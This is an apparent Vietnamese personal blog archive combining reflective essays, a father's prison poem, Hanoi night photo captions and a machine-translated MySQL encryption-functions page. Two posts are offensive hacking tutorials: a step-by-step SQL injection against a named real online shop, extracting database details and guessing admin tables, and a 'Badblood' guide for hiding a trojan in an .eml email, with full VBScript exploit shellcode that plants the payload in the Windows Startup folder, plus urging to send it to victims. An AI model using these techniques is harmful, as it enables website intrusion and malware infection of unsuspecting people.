Chủ Nhật, 8 tháng 7, 2012

Vâng ! Tôi là người tỉnh lẻ

Với tôi con người tạo nên vùng đất chứ không phải vùng đất tạo nên con người. Và tôi luôn tự hào rằng “tôi là người tỉnh lẻ”. Tôi sinh ra và lớn lên ở một vùng quê nghèo của miền Bắc với những cơn gió mùa hè cháy da thịt, với những cơn lũ ngập nhà cửa. Quê tôi chỉ là vùng đồng quê giữa những ngọn núi cao chót vót nhưng rất thanh bình, yên ả. Quê tôi không có những tòa nhà cao tầng chọc trời, cũng chẳng có những siêu thị đầy ắp người và cũng chẳng thấy bóng dáng của một rạp chiếu phim nào... Vâng, tôi biết quê tôi vẫn còn nghèo lắm, vẫn còn lạc hậu lắm. Nhưng… Quê tôi có cây đa, có sân đình, có những lũy tre xanh rì rào. Tất cả làm nên một nét rất riêng, rất đặc trưng của làng quê Việt Nam, mà không phải ở đâu cũng giữ được. Quê tôi với những người nông dân quanh năm bán mặt cho đất bán lưng cho trời, họ nghèo lắm về tiền bạc, có thể trình độ học thức của họ không cao nhưng họ giàu lắm tình cảm dành cho nhau, ở họ toát lên sự chân chất, mộc mạc. Mỗi khi nhà nào có việc gì, làng xóm không ai bảo ai lại xắn tay vào giúp đỡ. Họ chia nhau từng bắp ngô, từng nải chuối, từng mớ rau. Họ chẳng ngần ngại trao nhau nụ cười hay lời chào hỏi dù bất cứ ở đâu.
Ở đâu cũng có người tốt và người xấu. Họ nghèo không có nghĩa là họ tham lam, xấu tính. Họ ít học nhưng không chắc là người không có văn hóa. Những người tỉnh lẻ như tôi ngay từ khi biết nhận thức đã hiểu được rằng, chỉ có con đường học mới có thể thay đổi cuộc sống của họ. Có gì là sai khi họ cố gắng vươn lên mọi khó khăn để đỗ đạt, có gì là sai khi họ chi li, tính toán mọi thứ trong cuộc sống? Tôi, 25 tuổi và đã có 4 năm sống trên mảnh đất Thủ đô, nhưng chẳng bao giờ tôi thấy ngại ngần khi ai đó hỏi: “Quê cậu ở đâu?” Mỗi ngày, tôi chỉ cố gắng sống hết mình, sống với tất cả những gì tôi có, những gì mà ba mẹ, quê hương đã cho tôi, để khi người khác nhìn vào, họ phải suy nghĩ lại “không phải người nào quê tôi cũng như họ nghĩ, quê tôi cũng có những con người đáng khâm phục đấy chứ!”. Với tôi con người tạo nên vùng đất chứ không phải vùng đất tạo nên con người. Bởi vậy dù là người ở đâu cũng hãy sống theo cái tâm của mình. Và tôi luôn tự hào rằng “tôi là người tỉnh lẻ”.

Thứ Sáu, 15 tháng 7, 2011

Cuộc sống tươi đẹp

Năm ngoái, khi ngồi nói chuyện với các anh bác sĩ ở khoa cấp cứu của một bệnh viện lớn tại Hà Nội, các anh ấy nói rằng: “Cuộc đời này mong manh lắm, bạn chỉ biết bạn sống như thế nào chứ không thể biết bạn sẽ chết như thế nào”. Câu nói đó thỉnh thoảng lại hiện lên trong tôi, và rồi hàng ngày tôi đọc những thông tin trên báo chí với những tin như: Mỗi năm ở Việt Nam có hơn 10.000 người chết vì tai nạn giao thông, có gần 100.000 người chết vì ung thư, có hàng chục ngàn người chết vị bệnh tật khác, có hàng ngàn trẻ em chết vì tai nạn, hàng trăm người chết vì ngộ độc thực phẩm và còn rất nhiều cái chết khác như đánh nhau do mâu thuận cá nhân, bị cướp, do túng quẫn, do thất tình rồi tự tử...
Có lẽ chỉ có những người khi phải đối diện với cái chết vì bệnh tật, hoặc bị tử hình do phạm tội hoặc trong một vài trường hợp khác thì họ mới có thời gian để tìm hiểu, suy nghĩ và thấy tiếc nuối vì phải bỏ rời bỏ cuộc sống này.

Các bạn cũng thử nghĩ mà xem, nếu mà phải ra đi mãi mãi, không có ngày được trở lại với cuộc sống này, được tồn tại trên trái đất này nữa thì chắc chắn bạn sẽ sợ và nuối tiếc vô hạn, bạn nuối tiếc vì bạn còn nhiều điều chưa được làm hết, bạn sẽ nuối tiếc vì còn nhiều nơi trên đất nước này, trên thế giới này bạn chưa được đến. Nếu còn trẻ thì bạn sẽ nuối tiếc vì bạn chưa kịp báo hiếu cho người đã sinh ra bạn trên cõi đời này. Nếu có vợ, chồng và con nhỏ bạn sẽ nuối tiếc vì bạn sẽ không cùng người bạn đời đi hết chặng đường, không được nhìn thấy con cái của mình khôn lớn, trưởng thành, nếu bạn thành đạt thì bạn nuối tiếc vì bạn không được tận hưởng những thành quả lao động của mình đã làm ra.

Vậy, hãy quay trở lại câu nói của mấy anh bác sĩ “Bạn chỉ có thể biết bạn sống thế nào….”. Và sống tốt và có ích là câu trả lời đúng nhất.

Sống tốt với bản thân mình, yêu quý bản thân mình để cho mình đỡ mắc phải bệnh tật.

Sống tốt với mọi người để được yêu thương và tránh những xung đột có thể xảy ra.

Sống có ích và trách nhiệm với xã hội để làm cho xã hội ngày càng văn minh hơn, an toàn hơn, làm ra nhiều của cải vật chất hơn để mình và mọi người đều được hưởng những thành quả đó.

Và cho dù trong hoàn cảnh nào của bạn, bạn hãy cố gắng lạc quan và yêu đời vì cuộc sống này luôn tươi đẹp, hãy tận hưởng nó.

Chủ Nhật, 19 tháng 9, 2010

Tình cha !

Những dòng thơ ân tình mà ba viết dành cho tôi khi ba đang ở phương xa chịu cảnh " Lao lí " .


Tự sự

Tôi đi lao lí phương xa
Vợ tôi ở nhà nuôi dạy con trai

Phải đâu ngày một ngày hai
Ngày về tít tắp thài lài kém tươi !...
Em gắng rèn con lên người
Mai ngày thành đạt đẹp tươi như thường !
Làm trai trí ở bốn phương
Sông quê , con chớ coi thường nghe con !
Đời còn trẻ _ tuổi còn non
Nhiều điều hơn , thiệt con còn phải ghi !
Đường đi vững bước con đi
" Ba " còn lao lí _ có gì nữa đâu ? !...
Dẫu sao cũng nhắc một câu
Nhìn gương "Ba" tránh kẻo sầu nghe con !
Thương con ngày tháng mỏi mòn
Dẫu rằng lao lí _ tôi còn tu tâm ! ...
Gió lay mái tóc hoa râm
Tôi nghe trong gió âm thầm tiếng con
"Ba" mau trả nợ nước non
Cải tạo thật tốt để còn được tha !
Ngày mai xum họp một nhà !
Cuộc sống hạnh phúc đậm đà tình thương ! ..



Ngay sau khi tôi đọc xong bài thơ , ko hiểu sao hai khóe mi của tôi đã tràn đầy nước mắt trong sự cảm động trước tình thương yêu mà ba đã dành cho tôi . Tuy tôi ko thể ngồi viết lá thư mà ba đã gửi cho tôi nhưng những lời thơ này dường như đã nói được gần hết những gì mà ba tôi đã viết . Tôi xin được viết lên đây như là khắc ghi trong trái tim tôi , cũng như blog của tôi và tôi rất tự hào về người cha đáng kính của mình ! . Tôi ước gì những ngày tháng xưa kia ko bao giờ qua đi


Mái ấm thấm đậm tình cha

Ngôi nhà cha mẹ đậm đà yêu thương

Dù cơm rau cháo vẫn ngon

Tình thương ba dành con còn khắc khi

Khắc ghi trên những bước đi

Khắc ghi lên những đường đi cuộc đời



Liệu mái ấm ngày xưa có quay trở về ? :((

Con xin được gửi đến ba , người ba đáng kính của con bài thơ do con tự làm ! . Mong rằng ở nơi đó ba luôn vui vẻ và quên đi những tủi nhục mà những người nơi đó phải gánh chịu .


Ba !

Ba ơi ! Ba có biết không ?

Những lời ba dạy mãi trong tâm này .

“Làm trai trí ở bốn phương

Con nên xác định đúng đường con đi” .

Những lời ba dạy con thơ

Tuy rằng là những bài thơ tự sự.

Bây giờ con vẫn suy tư

Đêm con không ngủ tâm tư một mình.

Nghe bài ánh mắt của cha

Những dòng chữ cứ nhạt nhòa trước mắt

“Đời cha lo gánh mưu sinh

Chỉ vì tương lai của chính con mình .”

Nên Ba với bị cực hình

Cực hình là những hành trình gian lao.

Tuổi của ba thì đã cao

Đã thế vẫn phải lao đao vì “tình”

Ba ơi ! Ba hãy vui lên

Vì con luôn ở bên ba mỗi ngày.

Cuộc đời dù lắm đắng cay

Nhưng con luôn nhớ lời dạy của ba

Lời ba như những câu ca

Như những con sóng hát ca bài “tình”

Cuộc sống như những trường chinh

Dặn con phải biết giữ mình giữa khơi

Ba ơi đến lúc nghỉ ngơi !

Con xin ghi lại những lời ca dao

“Công cha như núi Thái Sơn

Nghĩa mẹ như nước trong nguồn chảy ra

Một lòng thờ mẹ kính cha

Cho tròn chữ hiếu với là đạo con”










Thứ Ba, 31 tháng 8, 2010

Tut đoán table dựa theo tên user hoặc tên viết tắt của Web php>v4

Tut hack Php Sql injection v4 writing by FLo
vICtIm : https://www.giftsfromfinland.com/pro...=52&prodID=436
Checked : https://www.giftsfromfinland.com/pro...=52&prodID=436 thêm dấu ' nhá ! > á à mày chết với ông

Ơ lạ nhỉ checked thế quái nào nó lại hiện lên trang trắng thế kia , thử order by cái , có nhiều cách order by để thực hiện

ở đây Flo sài Order by number ( dịch theo tiếng việt nôm na là số ) > number cứ tăng dần đến khi nào xuất hiện number lỗi thì thôi

Thường FLo cứ kiểm tra order by 1 , ko ra gì , order by 100 > trang trắng

vậy ta sẽ order by từ 1 đến khi nào ra số lỗi thì thôi

https://www.giftsfromfinland.com/pro...=52&prodID=436 order by 2 > order by đến 17 vẫn ko có gì




order by đến 18 > Tự nhiên số 17 còn bt , sang 18 là trang trắng > suy ra là số truy vấn trên website với SQL là 17 Field




giờ ta thêm dấu - vào trước số 436 nhé

https://www.giftsfromfinland.com/pro..._ID=52&prodID=-436

Và FLo sử dụng câu lệnh
Code:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
anh em nhìn thấy số 3 ko > nếu nhìn thấy số 3 anh em ta sẽ thay số 3 ở trên thành version() để kiểm tra version của shop , thay database() để kiểm tra database , thay user() để kiểm tra user của shop

Version ở đây là 4.1.22-log
User : gff_user@localhost
Database : current_gff_data

Tại sao ta cần những thông tin như database , user > vì ver4 này củ chuối cái là phải đoán table lẫn column > dựa vào đó mà đoán thôi

Tiếp đó đến đoán table nào
Bt sẽ đoán các table như là admin , orders .......... nhưng ko đc > nên chú ý kỹ lại tên user nên FLo với nghĩ ra và thử

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from gff_admin--


sử dụng đúng câu truy vấn thì nó sẽ trả về site như lúc bình thường
Còn nếu đoán column thì anh em đoán tên từng column thay vào số 3 > khi cảm thấy đủ rồi thì với dùng lệnh

concat(id,0x7c, các tên columnxxxx , 0x7c )


0x7c là FLo sài site http://string-functions.com/string-hex.aspx conver từ ký tự | sang 7c > còn 0x luôn luôn đứng trước các hex

Đoán column thì lắm lúc đơn giản là thế này > anh em đi tìm link admin của site trước sau đó viewsource đoạn username và password rồi thử thôi ;))

Và khi đoán 1 số columns cũng có shop đặt theo tên viết tắt của shop gồm những từ như workpress > là wp
wp_users
wp_user


P/s : victim có thể bị fix nên tut trên đây của FLo chỉ là tham khảo

Hà Nội về đêm

Những con phố chìm trong bóng tối, ánh sáng từ các ngọn đèn le lói hắt ra qua ô cửa sổ nhỏ, những người lao động cặm cụi làm việc... Đêm mùa đông, Hà Nội hiện lên vẻ trầm lắng, nên thơ.




Hà Nội tràn ngập ánh đèn khi trời tối dần.



Tháp Rùa hồ Gươm lung linh.



Phố Đinh Liệt lúc 0h. Nhà nhà đóng kín cửa, chỉ còn ánh sáng của các ngọn đèn hắt qua cửa, đèn ôtô và xe máy.



Phố Hàng Cá không một bóng người qua lại. Một chiếc xe tuần tra đỗ bên lề của cảnh sát khu vực sẵn sàng làm nhiệm vụ.



Con phố này (Hàng Chiếu), ban ngày sầm uất những hàng kinh doanh vỉa hè, đêm đến đìu hiu, vắng vẻ.



Hai khung cửa sổ bừng sáng trong đêm.



Cửa Ô Quan Chưởng, nơi mang nhiều dấu ấn lịch sử của Hà Nội.



Người bán hàng ăn thu dọn đồ đạc.



Chị công nhân quét rác cặm cụi làm việc.



Hàng bánh bao đêm.



Người nước ngoài thong dong dạo phố tận hưởng không khí đêm Hà Nội.



Hai người thợ phụ nề đến công trường làm đêm.





Cầu Chương Dương (trên) và Long Biên đèn sáng trưng.



Người nhặt rác lầm lũi kiếm sống trong đêm.

Chủ Nhật, 27 tháng 6, 2010

Cách dính trojan vào mail và web

Tui xin giới thiệu: "Badblood" la mot cong cu giup ban lam cho victim bi lay nhiem con trojan (cua ban) de dang hon qua con duong email.

Badblood la thuat ngu moi duoc phat hien boi Marklord, su phat hien nay giup chung ta co the chay file dinh kem (attached files) trong mail, ma` dac biet la nguoi su dung khong the biet duoc.

Badblood su dung script hidden, no khong chi anh huong den Outlook Express ma con lam anh huong toi tat ca nhung nguoi su dung IE5.0 voi Outlook Express di ke`m (install khi cai Windows), su dung Windows95 hay Windows98.

Ngay ca khi nguoi dung su dung cac trinh Mail client nhu Netscape Messager,(Eudora thi toi chua test) v.v.., se deu bi lay nhiem ca neu nhu Open file *.eml ma` toi sap huong dan ban cach tao ra chung. Ban con co the lam lay nhiem ca nguoi dung dich vu Hotmail, hoac HTML-mail, nhung chu y la ho *bat buoc* phai mo file *.eml thi moi bi lay nhiem (:<)

Buoc1:(Rat quan trong)
Chung ta phai vao Your ads...] body=[đặt banner và quảng cáo của bạn vói từ khóa này miễn phí YIM: binhaus] fade=[on] fadespeed=[0.3]" onmouseover="window.status='/modules.php?name=Feedback'; return true;" onmouseout="window.status=' ';">Internet Explorer -> Option -> Security Tab, nhan Custom Level, va tat (disable) tat ca chuc nang cho phep chay Script(Neu khong chinh may ban se bi nhiem)

Buoc2:
Chuan bi 1 con virus, trojan,backdoor, etc., 1 chuong trinh dung de Edit nhu EditPlus, TextPad.

Buoc3:
+Chay Outlook Express, nhan New Message ->Format->Background->Picures (or Sound) (vi du file ding.wav chang han)
+ Attach them 1 file trojan, hoac virus = nu't Attach (dat ten la file.exe chang han)
+ Save ca'i email na`y ra mot thu muc nao do' tren o cung.

Buoc4:
Dung EditPlus hoac TextPad, hoac 1 chuong trinh nao do dung de edit text, mo file *.eml nay ra. Trong phan source code cua file nay se co dong nhu sau:
Ban hay Cat dong sau:

Content-Disposition: attachment;
filename="file.exe"
- Va dan vao phan dinh dang file ding.wav, no se trong nhu sau:
Content-Type: audio/wav;
name="Ding.wav"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; {Chu thich: 2 dong duoi nay la dan vao thi no moi hien ra nhu vay}
filename="file.exe"
- Sau do vao phan dinh dang attachement ding.wav ta cat dong
Content-ID sau:
Content-ID: <002801bf41c9$95325940$0100007f@computername>
- dan no vao phan dinh dang cua attachement file.exe. No se trong giong nhu the nay:

Trích dẫn:
Content-Type: application/x-msdownload;
name="file.exe"
Content-Transfer-Encoding: base64
Content-ID: <002801bf41c9$95325940$0100007f@computername>


- Sau do ban Save file *.eml ban vua chinh sua nay. Roi chay no' , ban se thay o phan Attach file se xuat hien cai ten [file.exe], nhung thuc chat day khong phai la cai file trojan file.exe that su dau (ban hay nhin lai dung luong cua no', dung luong cua no'=dung luong cai file ding.wav day!)


Hay xoa (Remove) cai file.exe di bang cach nhan chuot phai vao no', chon Remove.


- Bay gio ban vao phan View hoac nhan Alt + V, danh dau vao phan Source Edit. Ban se thay OE hien len 3 nut Edit, Source, Preview o cuoi phia duoi buc thu, va ban dang o phan Edit, hay nhan chuot vao phan Source roi dan doan script sau vao:


<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00"
id="RegWizObj"></object>
<script language="VbScript" >
expstr = "/i
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
expstr = expstr & Chr(235)
expstr = expstr & Chr(53)
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)
expstr = expstr + Chr(144)
expstr = expstr + Chr(139) + Chr(252)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)
expstr = expstr + Chr(80)
expstr = expstr + Chr(87)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + Chr(51) + Chr(192)
expstr = expstr + Chr(80)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) +
Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + "move c:\windows\temp\d*.tmp
c:\windows\startm~1\programs\startup\file.exe"
RegWizObj.InvokeRegWizard(expstr)
</script>


- Save su thay doi vua roi lai. The la xong, ban co the gui no' di cho cac victim duoc roi day.
Neu cac ban thay rac roi thi hay gui email den cho toi, toi se send cho cac ban cai source code cua Badblood, ban chi can them email cua nan nhan, subject va dinh kem file la hoan thanh cong viec.
Thật sự thì lúc đầu tui đọc xong chẳng hiểu gì hết,nhưng nờ mò mẫm lần lần nên cũng làm được,các bạn hãy cố gắng nhá

Thứ Năm, 10 tháng 6, 2010

11.11.2 Encryption và. Chức năng nén

11.11.2 Encryption và. Chức năng nén

Table 11.17. Encryption Functions Bảng 11,17. Chức năng mã hóa

Name Tên Description Mô tả
AES_DECRYPT() Decrypt using AES Giải mã bằng cách sử dụng AES
AES_ENCRYPT() Encrypt using AES Mã hóa AES bằng cách sử dụng
COMPRESS() (v4.1.1) COMPRESS() (v4.1.1) Return result as a binary string Quay trở lại kết quả như là một chuỗi nhị phân
DECODE() Decodes a string encrypted using ENCODE() Giải mã một chuỗi mã hóa bằng cách sử dụng mã hóa ()
DES_DECRYPT() Decrypt a string Giải mã một chuỗi
DES_ENCRYPT() Encrypt a string Mã hóa một chuỗi
ENCODE() Encode a string Mã hóa một chuỗi
ENCRYPT() Encrypt a string Mã hóa một chuỗi
MD5() Calculate MD5 checksum Tính toán MD5 checksum
OLD_PASSWORD() (v4.1) OLD_PASSWORD() (v4.1) Return the value of the old (pre-4.1) implementation of PASSWORD Quay trở lại giá trị của (cũ trước 4,1) thực hiện các PASSWORD
PASSWORD() Calculate and return a password string Tính toán và trả về một chuỗi mật khẩu
SHA1() , SHA() SHA1() , SHA() Calculate an SHA-1 160-bit checksum Tính toán một SHA-1 160-bit checksum
UNCOMPRESS() (v4.1.1) UNCOMPRESS() (v4.1.1) Uncompress a string compressed Giải nén một chuỗi nén
UNCOMPRESSED_LENGTH() (v4.1.1) UNCOMPRESSED_LENGTH() (v4.1.1) Return the length of a string before compression Trở về độ dài của một chuỗi trước khi nén

Note Ghi

The encryption and compression functions return binary strings. Các chức năng mã hóa và nén trở lại chuỗi nhị phân. For many of these functions, the result might contain arbitrary byte values. Đối với nhiều người trong số các chức năng này, kết quả có thể chứa các giá trị byte tùy ý. If you want to store these results, use a column with a VARBINARY or BLOB binary string data type. This will avoid potential problems with trailing space removal or character set conversion that would change data values, such as may occur if you use a nonbinary string data type ( CHAR , VARCHAR , TEXT ). Nếu bạn muốn lưu trữ các kết quả này, sử dụng một cột với một VARBINARY hoặc BLOB chuỗi định dạng dữ liệu nhị phân. Điều này sẽ tránh những vấn đề tiềm năng với dấu loại bỏ hoặc chuyển đổi không gian bộ ký tự mà có thể thay đổi giá trị dữ liệu, chẳng hạn như có thể xảy ra nếu bạn sử dụng một chuỗi nonbinary loại dữ liệu ( CHAR , VARCHAR , TEXT ).

Note Ghi

Exploits for the MD5 and SHA-1 algorithms have become known. You may wish to consider using one of the other encryption functions described in this section instead. Khai thác đối với MD5 và SHA-1 thuật toán đã trở nên nổi tiếng. Bạn có thể xem xét sử dụng một trong các chức năng mã hóa khác được mô tả trong phần này để thay thế.

  • AES_DECRYPT( crypt_str , key_str )

    This function allows decryption of data using the official AES (Advanced Encryption Standard) algorithm. Chức năng này cho phép giải mã dữ liệu bằng cách sử dụng AES chính thức (Advanced Encryption Standard) thuật toán. For more information, see the description of AES_ENCRYPT() . Để biết thêm thông tin, xem mô tả của AES_ENCRYPT() .

  • AES_ENCRYPT( str , key_str )

    AES_ENCRYPT() and AES_DECRYPT() allow encryption and decryption of data using the official AES (Advanced Encryption Standard) algorithm, previously known as “ Rijndael. ” Encoding with a 128-bit key length is used, but you can extend it up to 256 bits by modifying the source. AES_ENCRYPT()AES_DECRYPT() cho phép mã hóa và giải mã dữ liệu bằng cách sử dụng chính thức AES (Advanced Encryption Standard) thuật toán, trước đây được gọi là "Rijndael chiều dài." Encoding với khóa 128-bit được sử dụng, nhưng bạn có thể mở rộng nó lên đến 256 bit bằng cách sửa đổi mã nguồn. We chose 128 bits because it is much faster and it is secure enough for most purposes. Chúng tôi chọn 128 bit bởi vì nó là nhanh hơn nhiều và nó là an toàn đủ cho hầu hết các mục đích.

    AES_ENCRYPT() encrypts a string and returns a binary string. AES_DECRYPT() decrypts the encrypted string and returns the original string. AES_ENCRYPT() mã hóa một chuỗi và trả về một chuỗi nhị phân. AES_DECRYPT() giải mã chuỗi mã hóa và trả về chuỗi ban đầu. The input arguments may be any length. Các đối số đầu vào có thể là bất kỳ chiều dài. If either argument is NULL , the result of this function is also NULL . Nếu đối số, hoặc là NULL , kết quả của chức năng này cũng là NULL .

    Because AES is a block-level algorithm, padding is used to encode uneven length strings and so the result string length may be calculated using this formula: Do AES là một cấp thuật toán khối, đệm được sử dụng để mã hóa các chuỗi có chiều dài không đồng đều và do đó chiều dài chuỗi kết quả có thể được tính bằng cách sử dụng công thức này:

     16 * (trunc( string_length / 16) + 1) 16 * (hàm TRUNC ( string_length / 16) + 1)

    If AES_DECRYPT() detects invalid data or incorrect padding, it returns NULL . Nếu AES_DECRYPT() phát hiện dữ liệu không hợp lệ hoặc đệm không đúng, nó sẽ trả về NULL . However, it is possible for AES_DECRYPT() to return a non- NULL value (possibly garbage) if the input data or the key is invalid. Tuy nhiên, có thể cho AES_DECRYPT() để trở về một không NULL giá trị (có thể là rác) nếu dữ liệu đầu vào hoặc phím không hợp lệ.

    You can use the AES functions to store data in an encrypted form by modifying your queries: Bạn có thể sử dụng chức năng lưu trữ dữ liệu AES trong một hình thức được mã hóa bằng cách sửa đổi các truy vấn của bạn:

     INSERT INTO t VALUES (1,AES_ENCRYPT('text','password')); INSERT INTO t giá trị (1, AES_ENCRYPT ('text', 'mật khẩu'));

    AES_ENCRYPT() and AES_DECRYPT() can be considered the most cryptographically secure encryption functions currently available in MySQL. AES_ENCRYPT()AES_DECRYPT() có thể được coi là mã hóa hầu hết các chức năng mã hóa an toàn hiện đang có sẵn trong MySQL.

  • COMPRESS( string_to_compress )

    Compresses a string and returns the result as a binary string. Nén một chuỗi và trả về kết quả như là một chuỗi nhị phân. This function requires MySQL to have been compiled with a compression library such as zlib . Otherwise, the return value is always NULL . Chức năng này đòi hỏi MySQL đã được biên dịch với một thư viện nén như zlib . Nếu không, giá trị trả lại luôn luôn là NULL . The compressed string can be uncompressed with UNCOMPRESS() . Chuỗi nén có thể được nén với UNCOMPRESS() .

     mysql> SELECT LENGTH(COMPRESS(REPEAT('a',1000))); mysql> SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
    -> 21 -> 21
    mysql> SELECT LENGTH(COMPRESS('')); mysql> SELECT LENGTH(COMPRESS(''));
    -> 0 -> 0
    mysql> SELECT LENGTH(COMPRESS('a')); mysql> SELECT LENGTH(COMPRESS('a'));
    -> 13 -> 13
    mysql> SELECT LENGTH(COMPRESS(REPEAT('a',16))); mysql> SELECT LENGTH(COMPRESS(REPEAT('a',16)));
    -> 15 -> 15

    The compressed string contents are stored the following way: Nội dung chuỗi nén được lưu trữ theo cách sau:

    • Empty strings are stored as empty strings. chuỗi rỗng được lưu trữ như là chuỗi sản phẩm nào.

    • Nonempty strings are stored as a four-byte length of the uncompressed string (low byte first), followed by the compressed string. chuỗi không rỗng được lưu trữ như là một-byte chiều dài bốn của chuỗi không nén (thấp byte đầu tiên), tiếp theo là chuỗi nén. If the string ends with space, an extra “ . ” character is added to avoid problems with endspace trimming should the result be stored in a CHAR or VARCHAR column. Nếu chuỗi kết thúc với không gian, một "thêm . "nhân vật được thêm vào để tránh vấn đề với endspace cắt tỉa kết quả cần được lưu giữ trong một CHAR hay VARCHAR cột. (However, use of nonbinary string data types such as CHAR or VARCHAR to store compressed strings is not recommended anyway because character set conversion may occur. Use a VARBINARY or BLOB binary string column instead.) (Tuy nhiên, việc sử dụng chuỗi nonbinary loại dữ liệu như CHAR hay VARCHAR để lưu trữ nén dây không được khuyến cáo anyway vì bộ chuyển đổi có thể xảy ra một ký tự. Sử dụng VARBINARY hoặc BLOB cột chuỗi nhị phân thay thế.)

  • DECODE( crypt_str , pass_str )

    Decrypts the encrypted string crypt_str using pass_str as the password. crypt_str should be a string returned from ENCODE() . Giải mã chuỗi mã hóa crypt_str sử dụng pass_str như mật khẩu. crypt_str phải là một chuỗi trở về từ ENCODE() .

  • ENCODE( str , pass_str )

    Encrypt str using pass_str as the password. Mã hóa str bằng cách sử dụng pass_str như mật khẩu. To decrypt the result, use DECODE() . Để giải mã kết quả, sử dụng DECODE() .

    The result is a binary string of the same length as str . Kết quả là một chuỗi nhị phân của độ dài tương tự như str .

    The strength of the encryption is based on how good the random generator is. Sức mạnh của mật mã dựa trên cách thức tốt các máy phát điện là ngẫu nhiên. It should suffice for short strings. Nó sẽ đủ cho các chuỗi ngắn.

  • DES_DECRYPT( crypt_str [, key_str ])

    Decrypts a string encrypted with DES_ENCRYPT() . Giải mã một chuỗi mã hóa với DES_ENCRYPT() . If an error occurs, this function returns NULL . Nếu lỗi xảy ra, điều này hàm trả về NULL .

    This function works only if MySQL has been configured with SSL support. Chức năng này chỉ hoạt động nếu MySQL đã được cấu hình hỗ trợ SSL. See Section 5.5.6, “Using SSL for Secure Connections” . Xem Phần 5.5.6, "Sử dụng SSL cho kết nối an toàn" .

    If no key_str argument is given, DES_DECRYPT() examines the first byte of the encrypted string to determine the DES key number that was used to encrypt the original string, and then reads the key from the DES key file to decrypt the message. Nếu không có key_str đối số được đưa ra, DES_DECRYPT() kiểm tra các byte đầu tiên của chuỗi được mã hóa để xác định các phím số DES đã được sử dụng để mã hóa các chuỗi ban đầu, và sau đó đọc chính từ các tập tin quan trọng để giải mã DES tin. For this to work, the user must have the SUPER privilege. Để làm việc này, người sử dụng phải có các SUPER đặc quyền. The key file can be specified with the --des-key-file server option. Các tập tin quan trọng có thể được chỉ định với các --des-key-file tùy chọn server.

    If you pass this function a key_str argument, that string is used as the key for decrypting the message. Nếu bạn vượt qua chức năng này một key_str đối số, chuỗi ký tự được sử dụng như là chìa khóa để giải mã thông điệp.

    If the crypt_str argument does not appear to be an encrypted string, MySQL returns the given crypt_str . Nếu crypt_str đối số không xuất hiện cho được một chuỗi mã hóa, MySQL sẽ trả về cho crypt_str .

  • DES_ENCRYPT( str [,{ key_num | key_str }])

    Encrypts the string with the given key using the Triple-DES algorithm. Mã hóa chuỗi với phím được sử dụng thuật toán Triple-DES.

    This function works only if MySQL has been configured with SSL support. Chức năng này chỉ hoạt động nếu MySQL đã được cấu hình hỗ trợ SSL. See Section 5.5.6, “Using SSL for Secure Connections” . Xem Phần 5.5.6, "Sử dụng SSL cho kết nối an toàn" .

    The encryption key to use is chosen based on the second argument to DES_ENCRYPT() , if one was given. Các mã hóa khóa để sử dụng là lựa chọn dựa trên các tham số thứ hai để DES_ENCRYPT() , nếu một chủng. With no argument, the first key from the DES key file is used. Với lập luận không có, phím đầu tiên từ tập tin quan trọng DES được sử dụng. With a key_num argument, the given key number (0 to 9) from the DES key file is used. Với một key_num đối số, các phím số nhất định (0-9) từ các tập tin quan trọng DES được sử dụng. With a key_str argument, the given key string is used to encrypt str . Với một key_str đối số, chìa khóa cho chuỗi được sử dụng để mã hóa str .

    The key file can be specified with the --des-key-file server option. Các tập tin quan trọng có thể được chỉ định với các --des-key-file tùy chọn server.

    The return string is a binary string where the first character is CHAR(128 | key_num ) . Chuỗi trả về là một chuỗi nhị phân, nơi ký tự đầu tiên là CHAR(128 | key_num ) . If an error occurs, DES_ENCRYPT() returns NULL . Nếu lỗi xảy ra, DES_ENCRYPT() trả về NULL .

    The 128 is added to make it easier to recognize an encrypted key. 128 được thêm vào để làm cho nó dễ dàng hơn để nhận ra một khoá mật mã. If you use a string key, key_num is 127. Nếu bạn sử dụng một chìa khóa dây, key_num là 127.

    The string length for the result is given by this formula: Chiều dài chuỗi cho kết quả được cho bởi công thức này:

     new_len = orig_len + (8 - ( orig_len % 8)) + 1 new_len = orig_len + (8 - ( orig_len % 8)) + 1

    Each line in the DES key file has the following format: Mỗi dòng trong tập tin quan trọng DES có định dạng sau:

     key_num des_key_str key_num des_key_str

    Each key_num value must be a number in the range from 0 to 9 . Mỗi key_num giá trị phải là một số trong khoảng từ 0 đến 9 . Lines in the file may be in any order. des_key_str is the string that is used to encrypt the message. Dòng trong tập tin có thể được theo thứ tự bất kỳ. des_key_str là một chuỗi được sử dụng để mã hóa thông điệp. There should be at least one space between the number and the key. Nên có ít nhất một khoảng trống giữa số lượng và phím. The first key is the default key that is used if you do not specify any key argument to DES_ENCRYPT() . Chìa khóa đầu tiên là phím mặc định được sử dụng nếu bạn không chỉ định bất kỳ đối số chính để DES_ENCRYPT() .

    You can tell MySQL to read new key values from the key file with the FLUSH DES_KEY_FILE statement. Bạn có thể cho biết MySQL để đọc chính những giá trị mới từ các tập tin quan trọng với FLUSH DES_KEY_FILE tuyên bố. This requires the RELOAD privilege. Điều này đòi hỏi RELOAD đặc quyền.

